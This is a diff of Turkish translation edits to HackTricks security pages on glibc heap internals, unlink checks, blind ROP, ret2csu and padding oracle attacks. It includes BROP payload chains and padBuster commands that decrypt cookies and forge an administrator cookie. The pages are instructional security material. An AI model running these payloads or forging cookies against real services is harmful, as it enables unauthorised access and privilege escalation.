Not edin ki, toplam gereken alanı hesaplamak için yalnızca `SIZE_SZ` 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir.
Not edin ki toplam gereken alanı hesaplamak için `SIZE_SZ` yalnızca 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir.
### Parça verilerini al ve meta verileri değiştir
@ -351,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
* Başlık ve altbilgi ayarlayın (parça numaraları kullanıldığında)
* Başlık ve altbilgi ayarla (parça numaraları kullanıldığında)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -395,7 +395,7 @@ return ptr;
### Hızlı Yığın Örneği
Hızlı yığın örneği [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresinden ama arm64'te:
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresinden alınan hızlı yığın örneği ama arm64 üzerinde:
```c
#include <stdio.h>
#include <stdlib.h>
@ -408,13 +408,13 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Ana fonksiyonun sonunda bir kesme noktası ayarlayın ve bilgilerin nerede saklandığını bulalım:
Set a breakpoint at the end of the main function and lets find out where the information was stored:
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliyoruz.
String panda'nın `0xaaaaaaac12a0` adresinde saklandığını görebiliriz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliriz.
Rezerve edilen ekstra alan (0x21-0x10=0x11), **eklenen başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16-byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
Rezerve edilen ekstra alan (0x21-0x10=0x11) **eklenmiş başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16-byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -470,15 +470,15 @@ return 0;
Önceki örneği hata ayıklarken, başlangıçta yalnızca 1 arena olduğunu görebiliriz:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Daha sonra, malloc'u çağıran ilk iş parçacığı çağrıldığında, yeni bir arena oluşturulur:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Daha sonra, malloc'u çağıran ilk iş parçacığı çağrıldıktan sonra, yeni bir arena oluşturulur:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ve içinde bazı parçalar bulunabilir:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Bellek Tahsisleri/Serbest Bırakmaları

View file

@ -1,15 +1,15 @@
# unlink
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -67,11 +67,11 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
Check this great graphical explanation of the unlink process:
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Güvenlik Kontrolleri
* Chunk'ın belirtilen boyutunun, bir sonraki chunk'taki prev\_size ile aynı olup olmadığını kontrol edin
* Belirtilen chunk boyutunun, bir sonraki chunk'taki prev\_size ile aynı olup olmadığını kontrol edin
* Ayrıca `P->fd->bk == P` ve `P->bk->fw == P` olduğunu kontrol edin
* Eğer chunk küçük değilse, `P->fd_nextsize->bk_nextsize == P` ve `P->bk_nextsize->fd_nextsize == P` olduğunu kontrol edin

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -29,9 +29,9 @@ Bu saldırı aşağıdaki senaryoya dayanmaktadır:
### **2. Canary'yi brute-force** ile sızdırma
### **3. Yığın içindeki saklanan RBP ve RIP adreslerini brute-force** ile sızdırma
### **3. Yığın içindeki saklanan RBP ve RIP** adreslerini brute-force ile sızdırma
Bu süreçler hakkında daha fazla bilgi bulabilirsiniz [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Yığınlardaki Adresler)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Bu süreçler hakkında daha fazla bilgi bulabilirsiniz [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Yığın Adresleri)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Durdurma gadget'ını bulma**
@ -41,16 +41,16 @@ Bu gadget, ROP gadget'ı tarafından ilginç bir şeyin çalıştırıldığın
Bu teknik, [**ret2csu**](ret2csu.md) gadget'ını kullanır. Bunun nedeni, bu gadget'a bazı talimatların ortasında erişirseniz **`rsi`** ve **`rdi`**'yi kontrol eden gadget'lar elde etmenizdir:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Bunlar gadget'lar olacaktır:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Bu gadget'lar ile bir fonksiyon çağrısının **2 argümanını kontrol etmenin** mümkün olduğunu unutmayın.
Bu gadget'lar ile bir fonksiyonu çağırmak için **2 argümanı kontrol etmenin** mümkün olduğunu unutmayın.
Ayrıca, ret2csu gadget'ının **çok benzersiz bir imzası** olduğunu unutmayın çünkü yığından 6 kayıt alacak. Bu nedenle, şöyle bir zincir göndererek:
Ayrıca, ret2csu gadget'ının **çok benzersiz bir imzası** olduğunu unutmayın çünkü yığından 6 kayıt alacak. Bu nedenle, şöyle bir zincir gönderilir:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
@ -60,11 +60,11 @@ Bu son seçeneği **kaldırmak için** aşağıdaki gibi yeni bir zincir çalı
`'A' * offset + canary + rbp + ADDR`
ret2csu gadget'ının adresini bilerek, **`rsi` ve `rdi`'yi kontrol eden gadget'ların adresini çıkarmak** mümkündür.
ret2csu gadget'ının adresini bilerek, **`rsi` ve `rdi`'yi kontrol etmek için gadget'ların adresini çıkarmak** mümkündür.
### 6. PLT'yi bulma
PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile ayrılmıştır ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** de çökmez çünkü bu ilk yürütülen koddur.
PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile ayrılmıştır ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** ile de çökmez çünkü bu ilk yürütülen koddur.
Bu nedenle, PLT tablosunu aşağıdaki davranışları kontrol ederek bulmak mümkündür:
@ -76,27 +76,27 @@ Bu nedenle, PLT tablosunu aşağıdaki davranışları kontrol ederek bulmak mü
**`strcmp`** fonksiyonu **`rdx`** kaydını karşılaştırılan stringin uzunluğuna ayarlar. **`rdx`**'nin **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write` kullanabilmemiz için **0'dan büyük** olması gerektiğini unutmayın.
**`strcmp`**'nin PLT'deki yerini, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğini kullanarak davranışına göre bulmak mümkündür:
**`strcmp`**'nin PLT'deki yerini, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğine dayanarak bulmak mümkündür:
* strcmp(\<okunmayan addr>, \<okunmayan addr>) -> çökme
* strcmp(\<okunmayan addr>, \<okunan addr>) -> çökme
* strcmp(\<okunan addr>, \<okunmayan addr>) -> çökme
* strcmp(\<okunan addr>, \<okunan addr>) -> çökme yok
* strcmp(\<okunmayan adres>, \<okunmayan adres>) -> çökme
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
* strcmp(\<okunan adres>, \<okunmayan adres>) -> çökme
* strcmp(\<okunan adres>, \<okunan adres>) -> çökme yok
Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'ye çağrıda bulunur) çağırmak ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemektir:
Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'a çağrıdır) çağırmayı ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemeyi içerir:
* strcmp(\<okunmayan addr>, \<okunan addr>) -> çökme
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek
* strcmp(\<okunan addr>, \<okunmayan addr>) -> çökme
* strcmp(\<okunan adres>, \<okunmayan adres>) -> çökme
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<okunan addr>, \<okunan addr>) -> çökme yok
* strcmp(\<okunan adres>, \<okunan adres>) -> çökme yok
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Unutmayın ki:
* BROP + 0x7 **`pop RSI; pop R15; ret;`**'ye işaret eder
* BROP + 0x9 **`pop RDI; ret;`**'ye işaret eder
* PLT + 0xb **dl\_resolve**'ye bir çağrıya işaret eder.
* PLT + 0xb **dl\_resolve**'a bir çağrıya işaret eder.
`strcmp`'yi bulduktan sonra, **`rdx`**'yi 0'dan büyük bir değere ayarlamak mümkündür.
@ -106,9 +106,9 @@ Genellikle `rdx`'nin zaten 0'dan büyük bir değeri barındıracağını unutma
### 8. Write veya eşdeğerini bulma
Son olarak, ikiliyi sızdırmak için verileri dışarı sızdıran bir gadget'a ihtiyaç vardır. Ve bu noktada **2 argümanı kontrol edebiliyor ve `rdx`'yi 0'dan büyük ayarlayabiliyoruz.**
Son olarak, ikiliyi sızdırmak için verileri dışarı aktaran bir gadget'a ihtiyaç vardır. Ve bu noktada **2 argümanı kontrol edebiliyor ve `rdx`'yi 0'dan büyük ayarlayabiliyoruz.**
Bunu kötüye kullanmak için 3 yaygın fonksiyon vardır:
Bunun için kötüye kullanılabilecek 3 yaygın fonksiyon vardır:
* `puts(data)`
* `dprintf(fd, data)`
@ -118,7 +118,7 @@ Ancak, orijinal makalede yalnızca **`write`**'den bahsedilmektedir, bu nedenle
Mevcut sorun, **write fonksiyonunun PLT içindeki yerini** bilmememiz ve **verileri soketimize göndermek için bir fd numarasını** bilmememizdir.
Ancak, **PLT tablosunun nerede olduğunu** biliyoruz ve **davranışına** göre write'ı bulmak mümkündür. Ve sunucu ile **birçok bağlantı** oluşturabiliriz ve **yüksek bir FD** kullanarak bunun bazı bağlantılarımızla eşleşmesini umabiliriz.
Ancak, **PLT tablosunun nerede olduğunu** biliyoruz ve **davranışına** dayanarak write'ı bulmak mümkündür. Ve sunucu ile **birçok bağlantı** oluşturabiliriz ve bazı bağlantılarımızla eşleşmesini umarak **yüksek bir FD** kullanabiliriz.
Bu fonksiyonları bulmak için davranış imzaları:
@ -144,7 +144,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
**ret2csu**, bir programın kontrolünü almaya çalışırken, genellikle programın davranışını manipüle etmek için kullandığınız **gadgets**'ları bulamadığınızda kullanılan bir hacking tekniğidir.
Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli mücevherler bulunmaktadır.
Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak hareket edebilecek bazı gizli mücevherler bulunmaktadır.
### \_\_libc\_csu\_init İçindeki Sihirli Gadgets
@ -37,18 +37,18 @@ pop r14;
pop r15;
ret;
```
Bu gadget, yığın üzerindeki değerleri bu register'lara alarak onları kontrol etmemizi sağlar.
Bu alet, yığın üzerindeki değerleri bu kayıtlara alarak kontrol etmemizi sağlar.
2. İkinci dizilim, ayarladığımız değerleri kullanarak birkaç şey yapar:
* **Belirli değerleri diğer register'lara taşıyarak**, bunları fonksiyonlarda parametre olarak kullanmaya hazır hale getirir.
* **r15 ve rbx'deki değerleri toplayarak** ve ardından rbx'i 8 ile çarparak belirlenen bir konuma çağrı yapar.
* **Belirli değerleri diğer kayıtlara taşıyarak**, bunları fonksiyonlarda parametre olarak kullanmaya hazır hale getirir.
* **r15 ve rbx'deki değerleri toplayarak** belirlenen bir konuma çağrı yapar, ardından rbx'i 8 ile çarpar.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Belki oraya yazacak herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** yerine getirmeniz gerekecek:
3. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** karşılamanız gerekecek:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
**`rdi`** ve **`rsi`**'yi ret2csu gadget'ından kontrol etmenin bir başka yolu, belirli ofsetlere erişmektir:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Daha fazla bilgi için bu sayfayı kontrol edin:
@ -92,12 +92,12 @@ Daha fazla bilgi için bu sayfayı kontrol edin:
### Çağrıyı Kullanma
Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında parametreler için belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
İşte burada **ret2csu** devreye giriyor:
Burada **ret2csu** devreye giriyor:
1. **Kayıtları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın üzerindeki değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop edin.
2. **İkinci Gadget'ı Kullanın**: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bu adresi `[r15 + rbx*8]` içine yerleştirebilirsiniz.
2. **İkinci Gadget'ı Kullanın**: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'yi kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz.
Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son istismar:
```python

View file

@ -1,27 +1,25 @@
# Padding Oracle
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
CBC modunda **önceki şifreli blok IV olarak kullanılır** ve bir sonraki blokla XOR yapılır:
CBC modunda **önceki şifreli blok, bir sonraki blokla XOR'lamak için IV olarak kullanılır**:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
@ -29,7 +27,7 @@ CBC'yi deşifre etmek için **ters** **işlemler** yapılır:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Bir **şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın.
**Şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın.
## Mesaj Doldurma
@ -65,7 +63,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
```
**Encoding 0** demek **base64** kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsüne bakın).
Bu güvenlik açığını yeni verileri şifrelemek için de **istismar edebilirsiniz**. Örneğin, çerezin içeriği "**_**user=MyUsername**_**" ise, bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde yetkileri artırabilirsiniz. Bunu `paduster` kullanarak -plaintext** parametresini belirterek de yapabilirsiniz:
Bu güvenlik açığını **kötüye kullanarak yeni verileri şifreleyebilirsiniz. Örneğin, çerezin içeriği "**_**user=MyUsername**_**" ise, bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde yetkileri artırabilirsiniz. Bunu `paduster` kullanarak -plaintext** parametresini belirterek de yapabilirsiniz:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
@ -75,13 +73,13 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
```
### Teori
**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan doğru değerin** ne olacağını tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır.
**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifreli verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan** doğru değeri tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır.
![](<../.gitbook/assets/image (561).png>)
Şifrelenmiş ve **E0'dan E15'e** kadar olan byte'ları içeren **2 blok** olduğunu hayal edin.\
**Son** **blok**u (**E8**'den **E15**'e) **çözmek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e kadar olan ara byte'ları** oluşturur.\
Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani:
Şifrelenmiş ve **E0'dan E15'e** kadar olan byte'ları içeren **2 blok**'a sahip olduğunuzu hayal edin.\
**Son** **blok**'u (**E8**'den **E15**'e) **çözmek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e** kadar olan **ara byte'ları** oluşturur.\
Sonunda, her ara byte, önceki şifreli byte'larla (E0'dan E7'ye) **XOR**'lanır. Yani:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -89,7 +87,7 @@ Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'
* `C12 = I12 ^ E4`
* ...
Artık **C15'in `0x01`** olana kadar **`E7`'yi değiştirmek** mümkündür, bu da doğru bir padding olacaktır. Bu durumda: `\x01 = I15 ^ E'7`
Artık **`E7`'yi `C15`'i `0x01`** olacak şekilde **değiştirmek** mümkündür; bu da doğru bir padding olacaktır. Bu durumda: `\x01 = I15 ^ E'7`
E'7'yi bulduğunuzda, **I15'i hesaplamak** mümkündür: `I15 = 0x01 ^ E'7`
@ -97,37 +95,35 @@ Bu da **C15'i hesaplamamıza** olanak tanır: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**'i bildiğinizde, şimdi **C14'ü hesaplamak** mümkündür, ancak bu sefer padding'i `\x02\x02` ile brute-force yaparak.
